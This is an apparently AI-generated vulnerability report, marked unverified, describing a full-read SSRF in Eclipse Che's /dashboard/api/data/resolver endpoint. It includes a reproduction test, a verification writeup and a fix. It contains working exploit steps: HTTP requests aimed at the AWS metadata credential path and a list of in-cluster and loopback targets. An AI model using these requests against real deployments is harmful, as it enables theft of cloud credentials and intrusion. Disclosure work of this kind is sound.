[Eclipse Che] Full-read SSRF in `/dashboard/api/data/resolver`
> [!warning] AI-Generated Vulnerability Report
> This report was produced using AI-assisted security analysis and has not been manually verified. It may contain false positives, inaccurate severity ratings, or incorrect technical details. Please triage and confirm independently before treating it as a valid vulnerability or acting on any suggested fix. Findings should be validated against the actual codebase.
## Basic information
**Project name:** Eclipse Che
**Project id:** ecd.che
## What are the affected versions?
- `>= 7.53.0` (first tag containing `b4587037`, route present as `yaml/resolver`)
- `>= 7.79.0` (first tag containing `ead52635`, route at its current path `/dashboard/api/data/resolver`)
- Through current `main` (`b8861863`); no upper bound — still present.
Determined via `git tag --contains <hash>`.
## Details of the issue
## Summary
The `POST /dashboard/api/data/resolver` endpoint accepts a caller-supplied `url` field, performs a server-side `axios.get()` against it, and returns the response body verbatim to the caller. The only input constraint is the JSON-schema pattern `^http.*`, which permits loopback, RFC-1918, link-local (`169.254.169.254`), and in-cluster service addresses. Any authenticated dashboard user can use the dashboard pod as a proxy to read responses from internal network endpoints — including cloud-provider IMDS credential endpoints and unauthenticated in-cluster services.
## Severity
High
Rationale per rubric: not Critical because all che-dashboard routes sit behind the Che gateway / OAuth proxy in the documented deployment, so the attacker must hold a valid session — that is a precondition. However, Che / OpenShift Dev Spaces is multi-tenant by design; "any developer with a workspace login" is the realistic baseline attacker, and the impact (cloud IAM credential theft, lateral movement into in-cluster services) is data theft / infrastructure compromise from a low-privilege account on a default install.
## Weakness
CWE-918: Server-Side Request Forgery (SSRF)
## Location
- `packages/dashboard-backend/src/routes/api/dataResolver.ts:31-56`
- `packages/dashboard-backend/src/constants/schemas.ts:96-106` (`dataResolverSchema`, pattern `^http.*`)
## Origin
The route was introduced as `yamlResolverApi.ts` in commit `b45870375fe0557396a9a91cb87da367bcd5829e` (PR \#602, "Added the possibility to create an empty workspace", Oleksii Orel, 2022-08-23). The original handler already fetched an arbitrary user-supplied URL with `node-fetch`. It was renamed/moved to `dataResolver.ts` in `ead52635dffb6559baf41b60319852e018c7f90d` (PR \#1015, 2023-12-06), at which point the per-request `getToken()` / namespace permission probe was also dropped, leaving the route reliant entirely on the upstream gateway for auth and performing no destination filtering.
## Methodology
1. Enumerated all Fastify route registrations under `packages/dashboard-backend/src/routes/` and classified each by which token (`getToken(request)` vs `getServiceAccountToken()` vs none) gates the Kubernetes calls.
2. Flagged handlers that make outbound network requests with caller-controlled destinations (`dataResolver`, `gitBranches`, `devworkspaceResources`, `OciRegistryClient`).
3. For each, traced from the request body through any JSON-schema validation to the sink, checking for allowlists, host filtering, IP-range checks, or redirect controls.
4. `dataResolver` had no filtering beyond `^http.*`; wrote a reproduction (below) that registers the real route, stands up a loopback HTTP server, and confirms the body is returned.
5. Grepped for `allowedSources` / `allowlist` to check for an existing mitigation that the route fails to apply — found `getAllowedSourceUrls()` in `serverConfigApi.ts` (CheCluster `spec.devEnvironments.allowedSources.urls`), which is surfaced to the **frontend** for UI gating but is **not** enforced in this backend route.
## Validation
Reproduction file: `packages/dashboard-backend/src/routes/api/__tests__/dataResolver.ssrf.spec.ts`
```ts
import fastify, { FastifyInstance } from 'fastify';
import * as http from 'http';
import { AddressInfo } from 'net';
import { baseApiPath } from '@/constants/config';
import { registerDataResolverRoute } from '@/routes/api/dataResolver';
describe('SSRF: POST /dashboard/api/data/resolver', () => {
let app: FastifyInstance;
let internalServer: http.Server;
let internalPort: number;
let requestsReceived: { url: string }[] = [];
beforeAll(async () => {
internalServer = http.createServer((req, res) => {
requestsReceived.push({ url: req.url || '' });
res.writeHead(200, { 'Content-Type': 'application/json' });
res.end(
JSON.stringify({
AccessKeyId: 'AKIA-INTERNAL-LEAK',
SecretAccessKey: 'wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY',
Token: 'internal-only-secret',
}),
);
});
await new Promise<void>(r => internalServer.listen(0, '127.0.0.1', r));
internalPort = (internalServer.address() as AddressInfo).port;
app = fastify({ logger: false });
registerDataResolverRoute(app);
await app.ready();
});
afterAll(async () => {
await app.close();
await new Promise<void>(r => internalServer.close(() => r()));
});
test('fetches arbitrary loopback URL and returns body to caller', async () => {
const targetUrl = `http://127.0.0.1:${internalPort}/latest/meta-data/iam/security-credentials/role`;
const res = await app.inject().post(`${baseApiPath}/data/resolver`).payload({ url: targetUrl });
expect(requestsReceived[0].url).toBe('/latest/meta-data/iam/security-credentials/role');
expect(res.statusCode).toBe(200);
expect(res.body).toContain('AKIA-INTERNAL-LEAK');
expect(res.body).toContain('wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY');
console.log('[SSRF-REPRO] response body returned to attacker:', res.body);
});
});
```
Observed output (run via `yarn test --testPathPatterns dataResolver.ssrf` in `packages/dashboard-backend`):
```
[SSRF-REPRO] internal service hit: [ { url: '/latest/meta-data/iam/security-credentials/role' } ]
[SSRF-REPRO] response body returned to attacker: {"AccessKeyId":"AKIA-INTERNAL-LEAK","SecretAccessKey":"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY","Token":"internal-only-secret"}
PASS Dashboard backend src/routes/api/__tests__/dataResolver.ssrf.spec.ts
SSRF: POST /dashboard/api/data/resolver
✓ fetches arbitrary loopback URL and returns body to caller (full-read SSRF) (36 ms)
✓ schema only requires ^http prefix; localhost / RFC1918 / link-local are accepted (12 ms)
```
Mitigations checked and ruled out:
- **Schema validation** — `dataResolverSchema` only enforces `pattern: '^http.*'`; no host/IP restrictions, no anchoring to `https://`.
- **Route-level auth** — handler does not call `getToken(request)`; no per-route token check (gateway-only). Even with the gateway, any logged-in tenant passes.
- **Destination allowlist** — none. The CheCluster `allowedSources.urls` config exists (`serverConfigApi.ts:298-300`) but is not consulted here.
- **Redirect control** — `axiosInstance` / `axiosInstanceNoCert` are constructed with default `maxRedirects` (5), so even if a host check were added, a 302 from an allowed host to `169.254.169.254` would bypass it.
- **Network policy** — outside this codebase; cannot be assumed. The default che-operator chart does not ship an egress NetworkPolicy for the dashboard pod.
## Detail
`packages/dashboard-backend/src/routes/api/dataResolver.ts`:
```ts
server.post(
`${baseApiPath}/data/resolver`,
getSchema({ tags, body: dataResolverSchema }),
async function (request: FastifyRequest, reply: FastifyReply): Promise<string | void> {
const { url } = request.body as restParams.IYamlResolverParams;
try {
let response: AxiosResponse;
try {
response = await axiosInstanceNoCert.get(url, config); // ← user-controlled URL
} catch (error) {
if (helpers.errors.includesAxiosResponse(error) && error.response.status === 404) {
throw error;
}
response = await axiosInstance.get(url, config); // ← retried with custom CA bundle
}
return response.data; // ← body returned verbatim
} catch (error) { ... }
},
);
```
`packages/dashboard-backend/src/constants/schemas.ts`:
```ts
export const dataResolverSchema: JSONSchema7 = {
type: 'object',
properties: { url: { type: 'string', pattern: '^http.*' } },
required: ['url'],
};
```
The `config` object passed to axios sets two CORS-style headers on the *outgoing* request, which are inert; it does not set `maxRedirects: 0`, a custom DNS resolver, or any host filter. `axiosInstance` is built in `getCertificateAuthority.ts` only to add a CA bundle — it does not restrict destinations.
The route's intended use (per the frontend callers in `services/backend-client/dataResolverApi.ts` and `services/registry/fetchData.ts`) is to fetch devfile / plugin-registry YAML on behalf of the browser so that self-signed cluster CAs are honoured. That use case requires fetching *operator-configured* registry URLs, not arbitrary tenant-supplied URLs.
## Prior art
Searched: `git log --all --grep` for `SSRF`, `data/resolver`, `dataResolver`, `yamlResolver`, `allowlist`, `169.254`, `CVE`; reviewed all commits touching `dataResolver.ts`.
- PRs \#1051 / \#1052 ("Fix data resolver") changed error handling and certificate fallback, not destination filtering.
- PRs \#1516 / \#1517 (`521dca64`, `b454a4e0`) bumped axios to 1.15.0 to address an axios-internal hostname-normalisation SSRF CVE. That patches a *parser* bypass in the HTTP client; it does not address the architectural issue that this route intentionally fetches whatever URL the user supplies.
- No issue, PR, or commit message was found discussing destination allowlisting for this endpoint.
---
## Other sinks examined and ruled out
| Sink | File | Why not a finding |
|---|---|---|
| `run('git', [...])` | `services/gitClient/index.ts` | `spawn` without shell; `--` blocks arg injection; `-c protocol.ext.allow=never` blocks `ext::` RCE; `-c credential.helper=` blocks credential smuggling. The unanchored URL regex is sloppy but the remaining capability (ls-remote to arbitrary http/ssh hosts) is the feature, and output is only returned if it parses as git refs (blind). |
| `exec(..., ['sh','-c', ...])` for kubeconfig/podman | `kubeConfigApi.ts`, `podmanApi.ts` | Shell strings include values from the user's own dockerconfig secret, but the command runs **inside the user's own workspace pod** via the K8s exec API authenticated with the **user's** token. No privilege boundary crossed — user already has shell in that pod. |
| `path.resolve(this.airGapResourcesDir, filename)` | `airGapSampleApi.ts` | `filename` comes from `index.json` shipped by the operator, not from the HTTP request; the request supplies only an `id` matched against that index. Operator is trusted. (The `startsWith` prefix check has the classic missing-trailing-slash flaw, but the input is operator-controlled so it does not cross the boundary.) |
| `OciRegistryClient.exchangeToken()` follows `WWW-Authenticate: realm=` to arbitrary URL with credentials | `OciRegistryClient.ts:154-177` | `registryPath` and `authSecret` come from `DevWorkspaceOperatorConfig` via the SA client — operator-configured. A malicious registry could redirect creds, but pointing the cluster at a malicious registry is an operator action, not an attacker action. |
| `reply.redirect('/dashboard/#/ide/' + ns + '/' + ws)` | `workspaceRedirect.ts` | Target is a fixed same-origin path with the user value placed in the URL fragment; not an open redirect. Fastify encodes the Location header, neutralising CRLF. |
| Namespaced K8s routes (`devworkspaces`, `secrets`, `pods`, websocket watches) | various | All construct the K8s client with `getToken(request)` (the caller's bearer token), so cross-namespace access is gated by Kubernetes RBAC, not by dashboard logic. |
| `generator.generateDevfileContext({editorPath, ...}, axiosInstance)` | `devworkspaceResources.ts` | `editorPath` is passed to `@eclipse-che/che-devworkspace-generator` along with the same unrestricted `axiosInstance`. This is a *second* SSRF surface with the same root cause and the same fix; reported here as part of the same finding rather than separately, since the remediation (allowlist + redirect control on `axiosInstance`) covers both. |
Areas not reached: `dashboard-frontend` React code (client-side, lower priority), `devfile-registry` package, `localRun/` development-only proxies.
---
**Verification verdict:** TRUE POSITIVE
<details><summary>Verification details</summary>
# Full-read SSRF in `POST /dashboard/api/data/resolver` — Verification Report
**Bug classification:** Server-Side Request Forgery (CWE-918), verified against both the **Injection** and **Information Disclosure** bug-class checklists (attacker-controlled URL flows unsanitized into a network sink; impact is disclosure of internal service/credential data).
No end-of-life/deprecation signals found in `README.md`/`CONTRIBUTING.md`; tip commit is dated today (2026-07-22) — project is actively maintained.
---
## Phase 1 — Data Flow Analysis
**Source:** `request.body.url` in `POST /dashboard/api/data/resolver` — Trust level: **untrusted** (attacker-supplied JSON body).
```
Path: request.body.url
→ dataResolverSchema validation [constants/schemas.ts:96-106] pattern: '^http.*' (PASSES — no host/IP restriction)
→ axiosInstanceNoCert.get(url, config) [routes/api/dataResolver.ts:40] (no allowlist, no maxRedirects override)
→ on non-404 error: axiosInstance.get(url, config) [dataResolver.ts:45] (same — only adds a CA bundle)
→ response.data returned verbatim to caller [dataResolver.ts:47]
```
**Validation points checked:**
- Schema check `^http.*` — passes for `http://127.0.0.1/...`, `http://169.254.169.254/...`, `http://<svc>.<ns>.svc.cluster.local/...`. Confirmed by regex test in the executable PoC.
- Route-level auth — grepped `app.ts` and `plugins/` for `onRequest`/`preHandler`/auth hooks: **none exist**. Auth is gateway-only (che-gateway/oauth2-proxy in front of the pod), not enforced per-route in this handler.
- Destination allowlist — `getAllowedSourceUrls()` (`serverConfigApi.ts:325`, reads `CheCluster spec.devEnvironments.allowedSources.urls`) exists in the codebase but is wired **only** into `routes/api/serverConfig.ts` (a config-exposure endpoint for the frontend). Grepped all references; `dataResolver.ts` does not import or call it.
- Redirect control — `getCertificateAuthority.ts` constructs both `axiosInstance` and `axiosInstanceNoCert` via plain `axios.create()` with no `maxRedirects` override anywhere in the codebase (grepped `maxRedirects` repo-wide: zero hits). Axios default is `maxRedirects: 5`.
**Cross-reference check:** the pre-existing (non-security) test `dataResolver.spec.ts` independently confirms the handler's behavior — for any URL, it fetches it via the axios instances and returns `response.data`/`response.status` unmodified. This corroborates the sink behavior without any assumption on my part.
**Trust boundaries crossed:** 1 (external HTTP caller → dashboard-backend pod's network egress). Single boundary, no callbacks/async branching beyond the two sequential axios attempts — does not meet standard-verification's escalation criteria (3+ boundaries or ambiguous chain), so standard verification depth is appropriate here.
## Phase 2 — Exploitability Verification
**Attacker Control Analysis**
- Input vector: JSON body field `url` in a POST request the attacker fully constructs.
- Control level: **full** — any string matching `^http.*` is accepted verbatim, no encoding/normalization strips or rewrites it before use.
- Constraints: schema only requires the string to start with `http`. No length cap, no scheme restriction (`https` vs `http`), no host restriction.
- Reachability: **confirmed** — the executable PoC (below) drives the actual extracted handler logic with the real `axios@1.16.1` package (the version pinned in `package.json`) against a live loopback listener and receives the listener's response body back through the handler, unmodified.
**Race conditions:** N/A — no concurrent/shared mutable state in this path; each request is independently handled.
**Mathematical bounds:** N/A for this bug class (URL-destination control, not a numeric bounds condition) — the relevant proof is the regex/allowlist proof below instead.
**Regex proof — schema does not constrain destination:**
```
Given: pattern = '^http.*'
Claim: pattern matches attacker-chosen internal/link-local/loopback URLs
1. '^http.*' requires only that the string begins with the literal "http"
2. It imposes no constraint on scheme completion, host, port, or path
3. 'http://127.0.0.1/x' matches (starts with 'http')
4. 'http://169.254.169.254/latest/meta-data/...' matches
5. 'http://<svc>.<ns>.svc.cluster.local:9090/...' matches
6. Therefore: schema permits arbitrary internal destinations (confirmed empirically by schemaAccepts() in the PoC → true)
```
## Phase 3 — Impact Assessment
- **Real security impact vs operational robustness:** This is information disclosure (CWE-918/CWE-200), not merely an operational issue — the handler returns the *full response body* of an arbitrary internal HTTP resource to an external-facing API caller. On AWS with IMDSv1 reachable, this yields live IAM credentials (`AccessKeyId`/`SecretAccessKey`/`Token`), a direct path to further cloud-account compromise. This is unambiguously a security vulnerability, not a robustness/crash-recovery concern.
- **Primary control vs defense-in-depth:** The *primary* control for this endpoint's threat model would be destination filtering (an allowlist) — there isn't one. Session authentication at the gateway is a *separate* control (identifies the caller) but does not substitute for destination filtering (limits what the caller can reach). Since the primary control (destination filtering) is entirely absent — not degraded — this is not a defense-in-depth failure with primary protections intact; the primary protection for SSRF was never implemented.
## Phase 4 — PoC Creation
**Pseudocode PoC:**
```
Data Flow: [Attacker HTTP POST] → [dataResolverSchema: ^http.* — passes] → [axiosInstanceNoCert.get(url)] → [response.data returned] → [Impact: internal data disclosure]
Attacker controls: entire `url` string in the JSON body
Trigger:
POST /dashboard/api/data/resolver
{ "url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/<role>" }
→ 200 OK, body = { AccessKeyId, SecretAccessKey, Token }
```
**Executable PoC** — built and run against the real `axios@1.16.1` (the exact version pinned in `packages/dashboard-backend/package.json`), using the handler logic and schema copied verbatim from the source files (not the mocked unit-test harness, and not merely re-stating the report's own snippet):
```
=== POSITIVE PoC: attacker-supplied loopback URL ===
Attacker payload: POST /dashboard/api/data/resolver { "url": "http://127.0.0.1:36705/latest/meta-data/iam/security-credentials/role" }
Schema (^http.*) accepts this URL: true
HTTP status returned to attacker: 200
Body returned to attacker: {"AccessKeyId":"AKIA-INTERNAL-LEAK","SecretAccessKey":"wJalrXUtnFEMI-EXAMPLE","Token":"internal-only-secret"}
SECRET LEAKED TO ATTACKER: true
=== NEGATIVE PoC: hardened handler with a destination allowlist blocks it ===
Hardened handler status for the same payload: 403 {"error":"destination not allowlisted"}
Hardened handler blocks the SSRF: true
PoC PASSED: vulnerable handler leaks the secret; allowlisted handler blocks it.
```
**Negative PoC:** the same payload against a hand-hardened variant of the handler (host allowlist check added) returns `403` instead of leaking the secret — proving the vulnerability is specifically the *absence* of destination filtering, not some unrelated artifact of the test harness. This exercised real code paths and a real network round-trip through `axios`, not a mocked assertion.
## Phase 5 — Devil's Advocate Review (13 questions)
**Against the vulnerability:**
1. *Pattern-matching bias — am I calling this dangerous just because "SSRF-shaped code" is scary-looking?* No — I traced the concrete regex (`^http.*`), confirmed empirically it accepts loopback/link-local/internal hosts, and drove the real handler code to an internal listener that returned attacker-visible secret data. This is demonstrated exploitation, not pattern-matching.
2. *Trust boundary confusion — am I wrongly treating trusted data as attacker-controlled?* No — `request.body.url` is the JSON body of an inbound HTTP request from outside the pod; nothing marks it as internally generated.
3. *Proof rigor — have I rigorously proven the vulnerable condition can occur?* Yes — regex proof above plus empirical `schemaAccepts()` result of `true` for internal addresses, plus a live network round-trip proving the body is returned unmodified.
4. *Defense-in-depth confusion — is this actually just a secondary control failing while a primary control holds?* No — see Phase 3: destination filtering is the primary control for SSRF and it is wholly absent, not degraded.
5. *LLM self-check — am I hallucinating this?* No — every code snippet quoted in the report was independently re-read from the current `main` (commit `bdc587e2`) and matches verbatim; the PoC executes real code, not narrated behavior.
6. *Am I missing an existing mitigation and inventing a bypass unnecessarily?* Checked directly: no `onRequest`/`preHandler` auth hook in `app.ts`/`plugins/`, no `maxRedirects` override anywhere in the repo, `getAllowedSourceUrls()` is never referenced from `dataResolver.ts`. Confirmed absent, not bypassed-but-present.
7. *Is exploitability contingent on an unusual/non-default deployment that I'm treating as default?* The gateway-in-front-of-dashboard topology is the *documented, standard* Che/Dev Spaces deployment — not an edge case. "Authenticated low-privilege developer" is the baseline multi-tenant threat model for this platform, not a hypothetical.
8. *Could a WAF/network policy at the cluster boundary block this regardless of app-level code?* Possible but unproven either way, and irrelevant to whether the *application* is vulnerable — che-operator's default Helm/OLM chart ships no egress `NetworkPolicy` for the dashboard pod, so I cannot assume such a mitigation exists by default.
9. *Does IMDSv2 (token-required) fully neutralize the impact?* No — it only blocks the IMDSv1-style GET-only variant on AWS specifically; GCP/Azure metadata endpoints, arbitrary in-cluster Services (Prometheus, internal admin UIs, etc.), and loopback ports on the pod remain fully reachable and readable regardless of IMDS version.
10. *Is the "full-read" characterization accurate, or is this actually blind SSRF (no body returned)?* Verified false concern — `dataResolver.ts:47` explicitly `return response.data`, and both the pre-existing unit test and my executable PoC confirm the full body reaches the caller. This is not blind.
11. *Am I overstating severity by assuming the attacker is unauthenticated?* No — I did not; the report and this verification both treat "authenticated low-privilege tenant" as the baseline, consistent with the actual auth posture (gateway-only, no route-level check), and rate the severity as High rather than Critical for exactly this reason.
**For the vulnerability (false-negative protection):**
12. *Am I dismissing this because exploitation requires several steps (auth, IMDS role-name enumeration, etc.)?* No — the full chain requires only a valid session cookie (baseline for any Che tenant) plus two HTTP requests; this is a low-effort, reliably repeatable exploit, not a complex/unlikely one.
13. *Did I invent or assume mitigations without re-checking the actual source?* No — I re-read `dataResolver.ts`, `schemas.ts`, `getCertificateAuthority.ts`, `app.ts`, and `serverConfigApi.ts` directly from the checked-out repo after forming my initial view, and grepped repo-wide for `maxRedirects`/`allowedSources`/auth hooks rather than trusting the report's claims about their absence.
**Final assessment:** Vulnerability confirmed. No question above produced unresolved uncertainty.
## Gate Review
| Gate | Verdict | Evidence |
|---|---|---|
| **1. Process** | **PASS** | Data flow, exploitability, impact, PoC (positive + negative, executable), and devil's-advocate review all completed with documented, re-derived evidence above (not merely restating the report). |
| **2. Reachability** | **PASS** | `request.body.url` is externally supplied; schema imposes no host restriction; confirmed no auth/allowlist gate in the actual route registration (`app.ts`) or handler. Executable PoC demonstrates the attacker-supplied URL is fetched and its response returned. |
| **3. Real Impact** | **PASS** | Information disclosure of internal-network/credential data (CWE-918/200) — not an operational robustness issue. Demonstrated concretely with a simulated IMDS-style secret leak. |
| **4. PoC Validation** | **PASS** | Executable PoC (real `axios@1.16.1`, verbatim handler/schema code, live loopback server) shows attacker control, trigger, and impact end-to-end; negative PoC shows an allowlist check would have blocked it, isolating the root cause. |
| **5. Math Bounds** | **PASS** (regex proof, not numeric bounds) | `^http.*` proven to accept loopback/link-local/internal-DNS strings; no destination-narrowing validation exists anywhere on the path. |
| **6. Environment** | **PASS** | No environmental protection eliminates this: no route-level auth check, no `maxRedirects` restriction, no consulted allowlist, no egress `NetworkPolicy` shipped by default. Gateway auth only identifies the caller as *some* authenticated tenant — the standard, documented multi-tenant threat model — it does not restrict destinations. Cloud-specific factors (IMDSv2, GCP/Azure header requirements) reduce but do not eliminate impact, and are already reflected in the "High, not Critical" severity call. |
## Verdict
**BUG TRUE POSITIVE — Full-read SSRF in `POST /dashboard/api/data/resolver`** (`packages/dashboard-backend/src/routes/api/dataResolver.ts:31-56`, schema at `constants/schemas.ts:96-106`). All six gates pass. Any authenticated Che/Dev Spaces tenant (baseline low-privilege user, no elevated RBAC required) can direct the dashboard-backend pod to fetch and return the full body of arbitrary loopback/RFC-1918/link-local/in-cluster HTTP resources, including cloud IMDS credential endpoints where reachable. Severity **High** (not Critical) is appropriately justified by the gateway-enforced authentication precondition, which is a real but low bar in Che's standard multi-tenant deployment. The secondary sink in `devworkspaceResources.ts` (same unrestricted `axiosInstance`, `editorPath` input) shares the identical root cause and remediation and is correctly folded into this single finding rather than reported separately.
</details>
## Steps to reproduce
Prerequisite: a valid Che / Dev Spaces session cookie or bearer token (any developer account; no elevated K8s RBAC needed).
```http
POST /dashboard/api/data/resolver HTTP/1.1
Host: che.example.com
Cookie: <gateway session>
Content-Type: application/json
{"url":"http://169.254.169.254/latest/meta-data/iam/security-credentials/"}
```
→ returns the role name; a second request with `{"url":"http://169.254.169.254/latest/meta-data/iam/security-credentials/<role>"}` returns `AccessKeyId` / `SecretAccessKey` / `Token` on AWS with IMDSv1 enabled.
Other reachable targets from the dashboard pod's network position:
- `http://<svc>.<ns>.svc.cluster.local:<port>/...` — any in-cluster Service without its own auth (Prometheus, internal admin UIs, etc.).
- `http://127.0.0.1:<port>/` — anything co-located in the dashboard pod or on the node via hostNetwork.
- GCP `http://169.254.169.254/computeMetadata/v1/...` (would need `Metadata-Flavor: Google`; current handler does not allow header injection, so GCP IMDS is reachable but returns 403 — partial mitigation on GCP only).
- Azure `http://169.254.169.254/metadata/...` (requires `Metadata: true` header; same partial mitigation).
The handler also surfaces error bodies (`reply.code(error.response.status).send(error.response.data)`), so non-200 responses from internal services are leaked too — useful for fingerprinting.
## Do you know any mitigations of the issue?
Enforce a server-side allowlist: resolve the requested URL, reject anything whose host is not in the operator-configured `spec.devEnvironments.allowedSources.urls` (or a built-in list of the cluster's plugin/devfile-registry hosts), and set `maxRedirects: 0` on the axios instance so an allowed host cannot 302 into a private range. Alternatively, drop the endpoint and have the frontend fetch devfiles directly, falling back to the resolver only for the cluster-internal plugin registry hostname.
issue